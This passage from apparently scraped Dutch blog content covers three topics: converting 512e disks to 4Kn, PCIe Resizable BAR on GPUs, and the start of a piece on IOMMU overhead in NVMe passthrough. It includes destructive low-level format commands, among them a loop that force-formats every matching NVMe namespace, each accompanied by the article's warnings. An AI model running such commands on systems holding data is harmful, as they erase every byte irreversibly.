heeft.\nHet is echter de moeite waard eerlijk te zijn over de omvang van de prijs. Seagate\u0026rsquo;s eigen richtlijn is dat 4Kn duidelijk de moeite van het najagen waard is wanneer de stack volledig geoptimaliseerd is voor 4K en je elke IOPS telt — een afgestemde all-flash-tier, zeg. Daaronder, op een correct uitgelijnd modern Linux, is het prestatieverschil voor uitgelijnde IO vaak klein. Het andere argument is vlootconsistentie: een uniform 4Kn-landschap heeft er geen gemengd-formaat-verrassingen in, en niemand hoeft te onthouden welke schijven liegen.\nDe Meeste Schijven Kunnen Omgezet Worden — Als De Vendor Het Toestaat Dit is het deel dat gemist wordt: 512e is vaak een format-instelling, geen eigenschap van de hardware. Heel veel enterprise-SAS- en SATA-schijven, en de meeste enterprise-NVMe, worden geleverd met een rapportage van 512 bytes en herformatteren graag naar 4Kn.\nAlle volgende vernietigen elke byte op het apparaat. Er is geen in-place conversie.\nNVMe — nvme-cli Kijk eerst naar wat de namespace ondersteunt:\n# Lists each LBA format and marks which one is in use nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Je wilt een formaat met Data Size 4096 en Metadata Size 0, gemarkeerd als best en niet momenteel in gebruik. Pas het dan toe:\n# -l/--lbaf selects the LBA format index from the list above nvme format /dev/nvme0n1 --lbaf=1 --force De metadata-grootte doet er evenveel toe als de data-grootte. Sommige fabrieksformaten reserveren extra bytes per sector — 520, of 4160 — om end-to-end T10-PI/DIF protectiemetadata te dragen. Als niets in je stack dat verbruikt, is het opvulling op elke sector, dus kies het zero-metadata-formaat en wees ervan af. Per ongeluk een metadata-dragend formaat kiezen levert je ook een schijf op die zich anders gedraagt dan degene die je bedoelde te maken, en het combineren van een sectorgroottewijziging met een PI-wijziging kan een trage volledige format afdwingen in plaats van een snelle.\nVoor een hele hosts waarde aan schijven: loop het. Dit heeft shopt -s extglob nodig voor de extended globs, en het selecteert alleen formaten die 4096/0 zijn en niet in gebruik:\nshopt -s extglob for dev in /dev/nvme+([0-9])n+([0-9]); do # Skip anything that is not actually there [ -e \u0026#34;$dev\u0026#34; ] || continue # An LBA format with 4096-byte data, 0-byte metadata, marked Best, not in use lbaf=$(nvme id-ns -H \u0026#34;$dev\u0026#34; \\ | grep -P \u0026#39;(?=.*Metadata Size: 0)(?=.*Data Size: 4096)(?=.*Best)(?!.*in use)\u0026#39; \\ | awk \u0026#39;{found=$3} END {print (found != \u0026#34;\u0026#34; ? found : -1)}\u0026#39;) if [ \u0026#34;$lbaf\u0026#34; != \u0026#34;-1\u0026#34; ]; then echo \u0026#34;Formatting $dev using LBA Format: $lbaf\u0026#34; nvme format --force --lbaf=\u0026#34;$lbaf\u0026#34; \u0026#34;$dev\u0026#34; else echo \u0026#34;Skipping $dev: no matching LBA format found.\u0026#34; fi done Twee dingen daarin doen meer werk dan ze lijken.\nDe glob matcht namespaces — nvme0n1, nvme12n3 — en matcht opzettelijk geen partities zoals nvme0n1p1, want het patroon eindigt na de cijfers die op de n volgen. Dat is het verschil tussen het herformatteren van een namespace en het doen van iets onherstelbaars aan een draaiend systeem.\nEn de selectie zet alleen ooit een schijf om die werkelijk aanbiedt wat je vroeg. Al het andere valt door naar -1 en wordt overgeslagen, wat drie aparte gevallen dekt:\nDe schijf biedt alleen 512. Er bestaat geen 4096-byte-formaat, dus er is niets om naar om te zetten en de loop laat hem met rust. Hij probeert het niet, en hij faalt niet halverwege. De schijf is al 4Kn. Het 4096/0-formaat is degene in gebruik, en (?!.*in use) sluit het uit — dus een tweede run over dezelfde host is een no-op. Geen onnodige herformattering van elke schijf. De enige 4096-formaten dragen metadata. Een 4096 + 8-formaat voldoet niet aan Metadata Size: 0, dus de loop zal je niet stilletjes een T10-PI-schijf overhandigen waar je niet om vroeg. Met andere woorden, het faalt gesloten. Wanneer het onzeker is, slaat het over.\nEén portability-opmerking: die lookaheads hebben GNU grep\u0026rsquo;s -P (PCRE) modus nodig. Op een systeem waar grep iets anders is, matcht het patroon niets en wordt elke schijf overgeslagen. Vervelend, maar het dwaalt tenminste in de veilige richting.\nLees de loop toch voordat je hem draait. Waar hij wel matcht, herformatteert hij zonder verdere vraag. nvme format --force vraagt niet twee keer. Het hoort in provisioning, op een machine waarvan de schijven niets bevatten, nooit op een host met een live OSD, pool of VM-schijf.\nOp FreeBSD is het equivalent nvmecontrol, waar -f de format-index is:\nnvmecontrol format -f 1 nvme0ns1 SAS en SATA — openSeaChest Seagate\u0026rsquo;s openSeaChest is cross-platform, open source, en werkt ook op schijven van andere vendors.\n# Find the handle openSeaChest_Format --scan # Ask the drive which sector sizes it will accept openSeaChest_Format -d /dev/sg1 --showSupportedFormats # Convert. The confirmation string is deliberately hard to type by accident. openSeaChest_Format -d /dev/sg1 --setSectorSize 4096 \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable Die bevestigingszin is niet mij die dramatisch doe. Het is de letterlijke string die het gereedschap vereist, en het deel \u0026ldquo;may render the drive inoperable\u0026rdquo; is echt. Een low-level format die door een stroomuitval wordt onderbroken, kan een schijf achterlaten die nog een format nodig heeft voordat hij überhaupt werkt.\nEronder verschilt de operatie per transport: SAS en SCSI gebruiken Format Unit, SATA gebruikt Set Sector Configuration Ext — het fast-format-pad — en NVMe gebruikt NVM Format. Voor een SAS-schijf kun je Format Unit rechtstreeks aansturen, en merk op dat deze optie de kortere bevestigingsstring neemt:\nopenSeaChest_Format -d /dev/sg1 --formatUnit 4096 --poll \\ --confirm this-will-erase-data Twee verschillende opties, twee verschillende bevestigingsstrings — verwissel ze en het gereedschap weigert.\nWaar de schijf een fast format ondersteunt, verandert de sectorgrootte in seconden in plaats van uren; de schijf doet daarna zijn integriteits- en achtergrondwerk, en je echte data erop schrijven verkort die achtergrondtijd. Een volledige format schrijft nullen van begin tot eind en kan vele uren tot dagen duren op een grote draaiende schijf.\nopenSeaChest_Format -d /dev/sg1 --setSectorSize 4096 --fastFormat \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable SCSI — sg_format Voor alles wat SCSI spreekt, doet sg3_utils dezelfde klus:\n# --size requires --format; expect hours on a large spinning disk sg_format --format --size=4096 /dev/sdb # Fast format where the drive supports it — seconds instead of hours sg_format --format --size=4096 --ffmt=1 /dev/sdb sg_format geeft je een aftelling van 15 seconden voordat het zich vastlegt, die --quick overslaat. De documentatie waarschuwt ook voor een specifieke fout die de moeite waard is te kennen: als de blokgroottewijziging slaagt maar de format daarna faalt, kan de schijf in een \u0026ldquo;format corrupt\u0026rdquo;-toestand belanden en nog een format nodig hebben om te herstellen.\nVoordat Je Iets Omzet Controleer het boot-pad. Een 4Kn-schijf als boot-apparaat heeft UEFI nodig en een OS dat het ondersteunt. Modern Linux is prima. Ouder Windows niet, en sommige hardware-RAID-controllers weigeren 4Kn nog helemaal. Doe het voordat de schijf iets bevat. Retrofitten betekent evacueren, omzetten, herstellen. Doe er één, controleer dan. Zet één schijf om, bevestig de gerapporteerde groottes, doe dan de rest. Verwacht uren op een draaiende schijf zonder fast format. Begin geen low-level format op een machine die je snel terug nodig hebt. Controleren Wat Je Hebt # LOG-SEC is what the host addresses, PHY-SEC is what the medium uses lsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC # The same, from sysfs cat /sys/block/sda/queue/logical_block_size cat /sys/block/sda/queue/physical_block_size # SMART states both, and this is the clearest 512e signature there is smartctl -a /dev/sda | grep -i \u0026#34;sector size\u0026#34; 512 bytes logical, 4096 bytes physical is een 512e-schijf. Overeenkomende getallen betekenen native — 512n als beide 512 zijn, 4Kn als beide 4096 zijn.\nEn controleer dat de partities werkelijk uitlijnen:\nparted /dev/sda align-check optimal 1 ZFS, Ceph en Virtuele Schijven ZFS — zet ashift=12 expliciet bij het aanmaken van een pool, en vertrouw niet op de gerapporteerde grootte van de schijf, want op 512e vertelt hij je 9 en heeft hij ongelijk. Het kan later niet veranderd worden.\nCeph — BlueStore\u0026rsquo;s minimale allocatiegrootte zou 4 KB op flash moeten zijn. Modern Ceph staat standaard op 4096, maar oudere builds stonden standaard hoger — rond 16 KB op SSD en 64 KB op HDD — en dat past slecht bij RBD-VM-schijven, want die geven veel kleine random 4 KB-schrijfacties uit en een 4 KB-schrijfactie die in een allocatie-eenheid van 16 of 64 KB landt, amplificeert zowel de schrijfactie als verspilt de rest aan opvulling. Het wordt vastgelegd wanneer de OSD wordt aangemaakt, dus het moet gezet worden voor het aanmaken of herbouwen:\nceph config set global bluestore_min_alloc_size_ssd 4096 # new or rebuilt OSDs only Er is een bijpassende bluestore_min_alloc_size_hdd. Bestaande OSD\u0026rsquo;s houden waarmee ze ook gebouwd zijn, dus het veranderen betekent ze herbouwen.\nVirtuele schijven — een gast ziet wat de hypervisor ook presenteert, niet de onderliggende schijf, dus een 4Kn-schijf onder een VM overhandigt de gast nog steeds blokken van 512 byte tenzij je anders zegt. De stack 4K van begin tot eind houden betekent QEMU vertellen 4K te presenteren, wat in Proxmox een raw-argumentregel in /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf is:\nargs: -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Die regel is wat QEMU werkelijk in 4Kn dwingt voor die schijven — -global past het toe op elk scsi-hd-apparaat op de VM, dus de gast krijgt 4096 te horen voor zowel logische als fysieke blokgrootte en partitioneert en lijnt dienovereenkomstig uit.\nQuote de hele string niet. Proxmox parseert args: met Text::ParseWords::shellwords, dus dit:\nargs: \u0026#34;-global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096\u0026#34; klapt samen tot een enkel argument — de aanhalingstekens worden gehonoreerd en verwijderd, en QEMU krijgt één lange onparseerbare optie overhandigd in plaats van vier. Zonder quotes splitst dezelfde regel in -global, scsi-hd.physical_block_size=4k, -global, scsi-hd.logical_block_size=4096, wat is wat je wilt. Het is een makkelijke fout om te maken, want quoten is het juiste instinct op een commandoregel, en de fout — een VM die niet start en klaagt over de optie — wijst niet terug naar de quotes.\nDoe dit voordat je het gast-OS installeert. De blokgrootte van een schijf veranderen onder een al geïnstalleerd systeem kan het onbootbaar maken, want de partitie-indeling en bootloader werden voor sectoren van 512 byte geschreven. Merk ook op dat args: een expert-noodluik is buiten het beheer van de GUI, en de interactie met live migratie en snapshots is de moeite waard om opnieuw te controleren tegen de huidige Proxmox-documentatie.\nAls De Gast 512 Zegt en De Host 4K Dit is het geval dat de moeite waard is goed te begrijpen, want het is wat je standaard krijgt na al het werk hierboven te hebben gedaan.\nQEMU presenteert logische blokken van 512 byte aan de gast tenzij anders verteld, wat het backing-device ook is. Dus je kunt elke schijf in de host omzetten naar 4Kn, en de VM\u0026rsquo;s erbovenop krijgen nog steeds 512 te horen — en ze zullen het geloven.\nDe gast partitioneert dan op 512-byte-grenzen omdat het mag, en geeft 512-byte-IO uit omdat het mag. Maar het host-apparaat heeft nu werkelijk een logisch blok van 4096 byte, en het accepteert geen schrijfactie van 512 byte. Iets moet de twee verzoenen, en dat iets is de host: QEMU leest de omringende 4 KB, voegt de 512 bytes van de gast erin samen, en schrijft het geheel terug.\nJe hebt de emulatie niet verwijderd. Je hebt hem van de firmware van de schijf af verplaatst naar je hypervisor, waar hij host-CPU en een bounce buffer kost in plaats van schijfcycli.\nMet cache=none is dit ook geen zachte straf. O_DIRECT tegen een 4Kn-apparaat vereist 4 KB-uitgelijnde offsets en lengtes, dus een sub-4K-gast-schrijfactie kan niet simpelweg doorgegeven worden — de uitlijning moet in QEMU gecorrigeerd worden voordat de IO überhaupt wordt uitgegeven.\nEn het misalignment-geval komt een laag hoger terug. Een gast die op 512-byte-granulariteit is gepartitioneerd, zet zijn 4 KB-filesystem-schrijfacties op offsets die twee host-4 KB-blokken overschrijden, dus elke wordt twee read-modify-writes op de host. Dezelfde fout als een niet-uitgelijnde partitie op een kale 512e-schijf, behalve dat het nu binnen een VM gebeurt waar niemand ernaar zoekt.\nDus de regel is: als de host 4Kn is, presenteer dan ook 4K aan de gast, en doe het voordat het OS erop gaat.\nDe uitzondering is gastondersteuning, wat de hele reden is dat 512e bestaat:\nLinux-gasten handelen 4Kn zonder gedoe af. Windows ondersteunt 4Kn voor datavolumes vanaf Windows 8 en Server 2012, en booten vanaf 4Kn wil UEFI. Alles ouder — Windows 7 en terug — kan helemaal geen 4Kn. Voor die is een 512-presenterende virtuele schijf de prijs van het draaien ervan, en de host doet het verzoenen. Als dat ertoe doet, houd die gasten dan op storage waar het je het minst kost in plaats van op je snelste tier. Controleer wat de gast werkelijk kreeg, van binnen de gast:\nlsblk -o NAME,LOG-SEC,PHY-SEC 512 daar op een 4Kn-host betekent dat de verzoening hierboven bij elke niet-uitgelijnde schrijfactie plaatsvindt.\nReferenties OpenZFS — Workload Tuning — ashift, waarom 2^ashift de kleinst mogelijke IO op een vdev is, en de observatie dat \u0026ldquo;many devices misreport their sector sizes\u0026rdquo; nvme-format man page — --lbaf, --namespace-id, --ses en --force sg_format man page — --size met --format, de fast-format-optie, en de format-corrupt-waarschuwing openSeaChest — Seagate\u0026rsquo;s open-source schijfgereedschappen, waaronder --setSectorSize en --showSupportedFormats openSeaChest wiki — Format, Fast Format, And Sector Sizes — welk transport welk commando gebruikt, en wanneer fast format van toepassing is nvmecontrol(8) — het FreeBSD-equivalent Linux block layer documentatie — hoe de kernel logische en fysieke blokgroottes modelleert ","permalink":"https://blogs.damiendye.uk/nl/proxmox/block-sizes-4kn-512e/","summary":"512e-schijven presenteren 512-byte-sectoren die ze niet hebben, en de firmware maakt het verschil goed bij elke niet-uitgelijnde schrijfactie. Wat dat kost op het medium, in de host en in write amplification — waarom directe synchrone schrijfacties het slechtste geval zijn — en hoe je een vloot naar 4Kn omzet.","title":"4Kn, 512e en 512n — Waarom Native 4K Wint, en Wat De Emulatie Kost"},{"content":"Wat Een BAR Is, en Waarom GPU\u0026rsquo;s Eroverheen Groeiden Elk PCIe-apparaat legt een of meer Base Address Registers bloot. Een BAR vertelt het systeem hoeveel adresruimte het apparaat wil, en de firmware mapt die in de geheugenkaart van de host. Zodra het gemapt is, bereikt de CPU het geheugen van het apparaat met gewone loads en stores.\nDe grootte van een BAR lag vroeger vast in silicium. De firmware las die uit bij het inschakelen en daarmee was het gesprek klaar.\nDat was prima toen BAR\u0026rsquo;s klein waren. Een netwerkkaart wil een paar tientallen kilobytes voor zijn registers. Een NVMe-controller wil 16KB tot 64KB.\nGrafische kaarten braken de regeling. Een moderne kaart heeft 8, 12, 16 of 24GB videogeheugen, en het voor de hand liggende is om het allemaal te mappen zodat de CPU er overal in kan schrijven. Vaste BAR\u0026rsquo;s konden dat niet uitdrukken, dus werd de conventie een klein venster — meestal 256MB — dat de driver over de framebuffer herpositioneert en er stukje bij beetje doorheen kopieert. Het werkt. Het is alleen een idiote hoeveelheid boekhouding om geheugen te bereiken dat je al gekocht en ingebouwd hebt.\nEen vast venster legt één plak per keer bloot; Resizable BAR mapt de hele mikmak Vaste BAR — een venster van 256 MB 24 GB VRAM, getekend als plakken het venster De driver herpositioneert het venster en kopieert erdoorheen, één plak per keer. Plakken zijn illustratief, niet op schaal. Resizable BAR — allemaal dezelfde 24 GB, in één keer gemapt één BAR dekt de hele mikmak De CPU schrijft waar hij bedoelt. Geen venster om te verschuiven. Het venster van 256MB is minder een bandbreedtelimiet dan een boekhoudheffing: de driver besteedt zijn tijd aan het verschuiven van het venster in plaats van het verplaatsen van data. Wat Resizable BAR Verandert Resizable BAR is een PCIe-capability waarmee de grootte van een BAR onderhandeld kan worden in plaats van vast te liggen. Het apparaat adverteert de groottes die het ondersteunt, en de firmware of het besturingssysteem programmeert er een.\nVoor een GPU betekent dat dat de hele framebuffer in één keer gemapt kan worden. De driver stopt met pagineren door een venster en schrijft waar hij bedoelt te schrijven. De kernel rapporteert de capability als Physical Resizable BAR, en die is vendorneutraal. Een AMD-kaart werkt ermee op een Intel-platform en omgekeerd.\nWat De Drie Vendors Werkelijk Doen Het interessante is dat de vendors het oneens zijn over hoeveel het uitmaakt.\nDrie vendors, één capability, drie verschillende houdingen Intel Arc / Arc Pro VEREIST “Required to get a good experience with Arc” Uit worden de frametime-spikes die er al waren groter. Platforms: 10e-gen Core en nieuwer, de meeste Ryzen 3000, alle Ryzen 5000. NVIDIA PROFIEL PER GAME Vanaf RTX 30 Series, maart 2021 “A few percent, up to 12%” — en sommige titels worden trager, dus de driver schakelt het alleen in waar het sneller testte. Vereiste een VBIOS + SBIOS-update. AMD Radeon SMART ACCESS MEMORY Dezelfde capability, verkocht onder een merknaam Gelanceerd met RX 6000 en Ryzen 5000 als gekoppelde feature, maar de capability is standaard PCIe en werkt cross-vendor. Lappiger op Vega en Polaris. De capability is in alle drie de gevallen identiek — wat verschilt is of de vendor het behandelt als een voorwaarde, een selectief toe te passen optimalisatie, of een productfeature. Dezelfde capability, drie verschillende houdingen. Intel behandelt het als een voorwaarde; NVIDIA levert het alleen ingeschakeld voor games die het heeft getest; AMD verkoopt het als een feature. Intel Arc en Arc Pro — Intel Noemt Het Vereist Intel is de nadrukkelijke. Hun richtlijn zegt dat Resizable BAR \u0026ldquo;required to get a good experience with Intel® Arc™ hardware\u0026rdquo; is. Dat is ongewoon sterke taal voor een platformfeature, en het toont hoe de Arc-driver is gebouwd in plaats van een marketingkeuze.\nAan de symptoomkant beschrijft Intel het effect van het uitzetten ervan in termen van consistentie in plaats van gemiddelden: met \u0026ldquo;ReBAR off\u0026rdquo; zul je \u0026ldquo;generally result in spikes that were already there getting bigger.\u0026rdquo; Dat is een argument over frametime-stabiliteit, en het is dezelfde vorm van probleem als het effect van ASPM op latency-staarten. Het gemiddelde verbergt het.\nIntel noemt Intel Core-processors van de 10e generatie en nieuwer, de meeste Ryzen 3000-serie en alle Ryzen 5000-CPU\u0026rsquo;s als ondersteunde platforms, en behandelt het als een moederbord-BIOS-feature die je moet gaan inschakelen.\nDe praktische conclusie voor Arc en Arc Pro is simpel. Als je een Arc-kaart in een machine hebt gezet en de prestaties zijn teleurstellend of ongelijkmatig, controleer dit dan voordat je iets anders controleert. Het is dan ook niet zozeer een afstelknop op die kaarten als wel een voorwaarde.\nNVIDIA — Vanaf Ampere, en Alleen Waar Het Helpt NVIDIA voegde in maart 2021 ondersteuning toe voor GeForce RTX 30 Series-kaarten en -laptops. Het werkend krijgen vereiste een ondersteunde VBIOS, een compatibele CPU en moederbord, een firmware-update van het moederbord, en een actuele driver. De RTX 3060 werd ermee geleverd; de 3060 Ti, 3070, 3080 en 3090 hadden mogelijk een firmware-update nodig om het te krijgen.\nNVIDIA\u0026rsquo;s eigen prestatiekader is verfrissend ongeglamoureerd. Ze vonden dat \u0026ldquo;some titles benefit from a few percent, up to 12%\u0026rdquo; terwijl \u0026ldquo;there are also titles that see a decrease in performance.\u0026rdquo;\nHun antwoord daarop is het detail dat de moeite waard is te kennen: in plaats van het globaal aan te laten, test NVIDIA titels vooraf en gebruikt profielen per game om Resizable BAR alleen in te schakelen waar het als winst werd gemeten. Dus op een NVIDIA-kaart heeft \u0026ldquo;staat ReBAR aan?\u0026rdquo; een antwoord per applicatie, en een benchmark die niks toont kan simpelweg een titel zijn die de driver besloot met rust te laten.\nAMD — Smart Access Memory Is Hetzelfde AMD\u0026rsquo;s branding ervoor is Smart Access Memory, geïntroduceerd naast de Radeon RX 6000-serie en Ryzen 5000-CPU\u0026rsquo;s. De marketing suggereert een AMD-CPU-plus-AMD-GPU-koppeling, en zo werd het gelanceerd, maar de capability eronder is de standaard-PCIe-versie. Schakel Resizable BAR in in firmware met een Radeon-kaart in een Intel-machine en je krijgt dezelfde feature zonder de branding.\nRadeon Pro W-serie-kaarten ondersteunen het ook. Op oudere architecturen — Vega en Polaris — is de ondersteuning lappiger, en dat is ook waar virtualisatieproblemen wonen.\nResizable BAR en AI-Werk Dit is waar de feature verkeerd wordt begrepen, dus het is de moeite waard duidelijk te zijn over wat het raakt.\nResizable BAR verandert hoe de CPU het GPU-geheugen bereikt. Dat is het overdrachtspad — modelgewichten klaarzetten, batches doorsturen, resultaten teruglezen. Het raakt de eigen geheugenbandbreedte van de GPU niet, en het maakt een matrixvermenigvuldiging niet sneller.\nDe eerlijke samenvatting is dus dat het het laden en voeden van een model beïnvloedt, niet de rekenkunde. Voor een groot model is de host-naar-device-kopie bij het laden een echte kostenpost, en een BAR op volledige grootte laat de CPU rechtstreeks in het device-geheugen schrijven in plaats van te schuttelen door een patrijspoort van 256MB. Voor de steady state van een inference-run — waar de gewichten al resident zijn en het werk compute-bound is. Verwacht niks.\nDrie specifieke punten zijn de moeite waard te kennen.\nArc Pro voor AI erft Intels oordeel. Als Intel zegt dat de kaart Resizable BAR nodig heeft voor een goede ervaring, geldt dat voor een kaart die oneAPI of PyTorch draait net zozeer als een die een game draait. Arc- en Arc Pro-kaarten die inference doen zouden het ingeschakeld moeten hebben, punt uit.\nOp NVIDIA is het getal dat je wilt BAR1. BAR1 is het host-zichtbare venster op het device-geheugen, en het is waar host-gemapte allocaties en GPUDirect RDMA doorheen gaan:\n# How much device memory is actually host-visible nvidia-smi -q | grep -A3 \u0026#34;BAR1 Memory Usage\u0026#34; Een datacenterkaart is met een grote BAR1 gebouwd. Op een desktopkaart is Resizable BAR wat dat venster groot maakt in plaats van klein. Als je RDMA rechtstreeks vanaf een NIC in GPU-geheugen doet, is dit geen fijnigheid.\nVerwar dit niet met de eis van ROCm. AMD\u0026rsquo;s ROCm-systeemvereisten vragen om CPU\u0026rsquo;s die PCIe atomics ondersteunen — \u0026ldquo;modern CPUs after the release of 1st generation AMD Zen CPU and Intel™ Haswell\u0026rdquo; — en zeggen niets over BAR-grootte. Dat zijn twee verschillende platformvereisten die allebei in hetzelfde BIOS-menu leven, en mensen verwarren ze voortdurend. Controleer degene die je werkelijk nodig hebt.\nDe faalmodus die AI-builds het hardst bijt, is helemaal geen prestatie, en die staat hieronder: meerdere large-BAR-GPU\u0026rsquo;s in één machine kunnen de adresruimte laten opraken.\nWat Het Nodig Heeft Om Te Werken Vier dingen, en ze zijn allemaal op firmwareniveau:\nResizable BAR ingeschakeld in de moederbordfirmware. Vaak standaard uit. Above 4G Decoding ingeschakeld. Een BAR van 24GB past niet onder de 4GB-lijn, dus het platform moet bereid zijn adresruimte erboven toe te wijzen. Zet dit aan, zelfs zonder GPU aanwezig. Het kost niets. UEFI-boot, met CSM uit. Legacy-compatibiliteitsmodus en grote BAR\u0026rsquo;s gaan niet samen. Actuele firmware en drivers, in het bijzonder op de borden en kaarten uit de overgang van 2020–2021, waar ondersteuning per update kwam in plaats van bij de lancering. Een grote BAR past alleen boven 4GB, en het gastvenster moet groot genoeg zijn om hem te bevatten Waar een resized BAR werkelijk kan leven systeem-RAM 0 32-bits MMIO-gat 4 GB 64-bits MMIO hoog GPU 0 24 GB BAR GPU 1 — 24 GB GPU 2 — 24 GB GPU 3 — 24 GB Vol, en in totaal maar 4 GB breed Een BAR van 24 GB kan hier niet. Een van 256 MB amper wel. Alleen bruikbaar met Above 4G Decoding Een firmware-instelling. Standaard uit op sommige borden, en zonder deze wordt een grote BAR helemaal nooit toegewezen. Elke kaart heeft hierboven zijn eigen ruimte nodig Vier kaarten van 24 GB willen 96 GB aan 64-bits MMIO toegewezen, plus al het andere op de bus. Niet elke consumenten- bordfirmware doet dat. Het teken: prima met twee kaarten, een weigert te initialiseren met vier, en dmesg meldt geen ruimte voor de BAR. Niet op schaal: de 64-bits regio is veel groter dan de 4 GB eronder, wat nogal het punt is. Above 4G Decoding is wat de bovenste regio überhaupt bruikbaar maakt — en elke kaart heeft daarboven zijn eigen ruimte nodig, en dat is waar multi-GPU-AI-builds tegen de muur lopen. Hoe Te Controleren Op Linux Of de kaart de capability heeft, en welke groottes hij aanbiedt:\n# Substitute your card\u0026#39;s address from lspci lspci -vvs 0000:XX:00.0 | grep -A6 \u0026#34;Physical Resizable BAR\u0026#34; De kernel legt dit ook bloot in sysfs, één bestand per resizable BAR:\ncat /sys/bus/pci/devices/0000:XX:00.0/resource1_resize Die waarde is een bitmap van ondersteunde groottes, geen grootte. Bit 0 betekent 1MB, bit 1 betekent 2MB, bit 2 betekent 4MB, en de grootte voor een gegeven bit is 2 ^ (bit + 20). Dus 00000000000001c0 heeft bits 6, 7 en 8 gezet, wat betekent dat de BAR 64MB, 128MB of 256MB kan zijn.\nOm te zien wat er werkelijk van kracht is, lees je de toegewezen regio\u0026rsquo;s:\nlspci -vvs 0000:XX:00.0 | grep -i Region Een kaart die met zijn volledige framebuffer gemapt draait, toont een regio die overeenkomt met zijn VRAM-grootte in plaats van een van 256MB.\nMet De Hand Aanpassen Je kunt de bitpositie zelf schrijven:\n# bit 7 -\u0026gt; 2 ^ (7 + 20) = 128MB echo 7 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/resource1_resize De bijbehorende voorwaarden zijn streng, en de moeite waard te lezen voordat je het probeert op een machine waar je om geeft. Elke driver moet eerst van het apparaat worden losgekoppeld. Peer-apparaten onder dezelfde parent bridge moeten mogelijk zacht worden verwijderd. Op een VGA-apparaat breekt het schrijven van een resize-waarde de low-level console-drivers af. Alles wat de resourceN-sysfs-bestanden open houdt, moet loslaten.\nDe kerneldocumentatie is ook bot over het resultaat: succes is niet gegarandeerd. De resize faalt als er geen adresruimte is om de grotere BAR te plaatsen. Wat je meteen terugbrengt bij Above 4G Decoding.\nAls Het Misgaat dmesg zegt dat het de BAR niet kan toewijzen. Berichten in de vorm BAR 0: no space for [mem size ...] betekenen dat de allocatie mislukte, niet dat de kaart defect is. Above 4G Decoding is het eerste om te controleren.\nMeerdere GPU\u0026rsquo;s en een ervan wil niet initialiseren. Dit is de multi-GPU- en AI-rig-faalmodus. Vier kaarten met BAR\u0026rsquo;s van 24GB hebben 96GB aan 64-bits MMIO-ruimte nodig, plus al het andere, en niet elke consumentenbordfirmware doet dat. Het symptoom is dat de machine prima is met twee kaarten en omvalt met vier.\nDe prestaties gingen omlaag. Op NVIDIA kan dat de eigen conclusie van de driver zijn, aangezien ze het per titel inschakelen juist omdat sommige workloads teruglopen. Op de andere: meet beide kanten in plaats van aan te nemen.\nEr veranderde helemaal niets. De meest waarschijnlijke uitkomst voor een workload die nooit beperkt werd door het venster van de CPU op VRAM.\nEen Large-BAR-GPU Doorgeven Aan Een VM De moeite waard te vermelden omdat het mensen verrast: een gast erft de geheugenkaart van de host niet. De firmware van de VM bouwt zijn eigen 64-bits MMIO-venster, en de standaard van OVMF is veel kleiner dan een moderne GPU nodig heeft, dus de kaart faalt ofwel bij het initialiseren of valt terug op een kleine BAR. Dat is een Proxmox- en QEMU-onderwerp in plaats van een GPU-onderwerp, en het leeft in het IOMMU-tax-artikel naast de machinetype-vereisten uit Gebruik Altijd Q35, Niet i440fx.\nReferenties Intel — Resizable BAR and Intel Arc Graphics — Intels eigen uitspraak dat het vereist is voor een goede ervaring op Arc, en de lijst met ondersteunde platforms NVIDIA — Resizable BAR support for GeForce RTX 30 Series — de vereisten, het gemeten bereik, en de aanpak met profielen per game AMD — Smart Access Memory — AMD\u0026rsquo;s branding en platformkoppeling Linux kernel sysfs-bus-pci ABI — resourceN_resize — de bitmap, de 2 ^ (bit + 20)-grootte, en de unbind-voorwaarden ROCm system requirements — de PCIe-atomics-vereiste die met deze wordt verward ","permalink":"https://blogs.damiendye.uk/nl/proxmox/pcie-resizable-bar/","summary":"Resizable BAR laat de CPU de hele framebuffer van een GPU mappen in plaats van erdoorheen te turen via een venster van 256MB. Intel noemt het vereist voor Arc, NVIDIA schakelt het per game in, AMD verkoopt het als Smart Access Memory — en voor AI-werk verandert het de overdracht, niet de rekensom.","title":"PCIe Resizable BAR en Moderne GPU's — Intel Arc, NVIDIA en AMD"},{"content":"Het Probleem Dit kwam op tijdens een klantopdracht waar we een Proxmox VE-deployment ontwierpen met NVMe-passthrough voor een latency-gevoelige workload. De klant had voor het gesprek zijn eigen benchmarking gedaan. Op de host rapporteerde fio tegen de NVMe-schijf 700K random read-IOPS met een voltooiingslatency onder de 10µs. Binnen de VM, met dezelfde schijf en dezelfde test, kregen ze ongeveer de helft daarvan.\nZe hadden de voor de hand liggende dingen al gecontroleerd. De schijf was niet veranderd. De firmware was niet veranderd. Het PCIe-slot was niet verplaatst. Ze begonnen zich af te vragen of passthrough helemaal de verkeerde aanpak was.\nDat was het niet. Wat ze zagen is de IOMMU-tax. Het verrast mensen omdat niemand je erover vertelt voordat je je aan het passthrough-ontwerp hebt vastgelegd. Het goede nieuws is dat het meeste van de overhead terug te winnen is zodra je begrijpt waar het vandaan komt.\nDiepe Duik De Problemen Die Opgelost Moesten Worden Een VM directe toegang geven tot een fysiek PCIe-apparaat klinkt eenvoudig. In de praktijk is het een van de moeilijkere problemen in systeemvirtualisatie. Een paar dingen die op bare metal automatisch werken, worden gevaarlijk wanneer een apparaat gedeeld wordt tussen een host en een gast.\nDMA-Isolatie Dit is het fundamentele probleem.\nPCIe-apparaten gaan niet via de CPU om geheugen te lezen en schrijven. Ze gebruiken Direct Memory Access. Ze schrijven rechtstreeks naar fysieke RAM-adressen. Op bare metal is dat prima. Het apparaat en het OS vertrouwen elkaar.\nOnder virtualisatie heeft de gast-VM zijn eigen kijk op fysiek geheugen. De adressen die de gastdriver aan de NVMe-controller geeft, zijn guest physical addresses. Ze mappen niet naar dezelfde locaties in host-RAM. Als het apparaat ze rechtstreeks gebruikt, leest en schrijft het het verkeerde geheugen. Dat beschadigt de host, andere VM\u0026rsquo;s, of beide.\nErger nog, een kwaadaardige of buggy gastdriver zou het apparaat opzettelijk kunnen programmeren om DMA uit te voeren naar elk deel van het host-geheugen. Dat is in feite root-toegang tot de hele machine zonder ooit een hypervisor-bug te misbruiken.\nDe oplossing is de IOMMU — een hardware-vertaaleenheid (Intel VT-d, AMD-Vi) die tussen elk PCIe-apparaat en het hoofdgeheugen zit. Die 